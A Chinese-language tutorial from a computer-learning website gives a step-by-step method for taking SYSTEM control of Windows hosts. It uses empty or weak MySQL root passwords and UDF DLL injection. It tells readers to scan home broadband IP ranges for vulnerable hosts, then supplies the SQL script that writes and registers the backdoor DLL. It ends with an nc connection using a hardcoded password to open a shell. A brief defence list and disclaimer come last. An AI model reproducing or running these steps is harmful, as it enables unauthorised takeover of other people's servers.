萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 網路安全 >  >> 病毒防護

實戰:利用 MySQL 弱口令與 UDF 注入獲取 Windows SYSTEM 權限

前置條件

  • 目標開放 MySQL 3306 端口,root 帳號密碼為空或弱口令。
  • 目標運行 Windows,且 MySQL 服務以高權限(LocalSystem/Administrator)運行。
  • 攻擊機安裝 MySQL for Windows,準備 my_udf.dll(或 mix.dll,前者穩定性更好)。

攻擊流程

  1. 掃描目標: 用 Hscan 1.2 掃描 ADSL IP 段(安全意識薄弱),尋找 root 空密碼且擁有 mysql 數據庫權限的主機。
  2. 準備 UDF 十六進制: WinHex 打開 my_udf.dll → 編輯 → 全選 → 複製十六進制值 → 記事本保存。
  3. 構建 SQL 腳本 (mysql.txt):
    use mysql;
    set @a=concat('',0x[十六進制內容]);
    create table Mix(data LONGBLOB);
    insert into Mix values("");
    update Mix set data = @a;
    select data from Mix into DUMPFILE 'c:\\my_udf.dll';
    CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll';
    select my_udfdoor('');
  4. 遠程執行:
    mysql -h <目標IP> -u root -p[密碼]
    # 連接成功後
    \. c:\mysql.txt
  5. 建立後門連線: nc -nv <目標IP> 3306,輸入密碼 fuck 獲取 Shell(需多按幾次 Enter)。

關鍵點總結

  • UDF 注入核心:CREATE FUNCTION ... SONAME 'path' 將自定義 DLL 掛載到 MySQL 進程空間。
  • MySQL 必須以高權限運行且擁有寫入磁碟權限(secure_file_priv 未限制)。
  • 防禦:強制強密碼、禁用遠程 root 登錄、降低 MySQL 服務權限、啟用 secure_file_priv、部署 WAF/IDS 監控異常 UDF 創建。
⚠️ 僅供安全研究與防禦參考,嚴禁用於未授權滲透測試。
copyright © 萬盛學電腦網 all rights reserved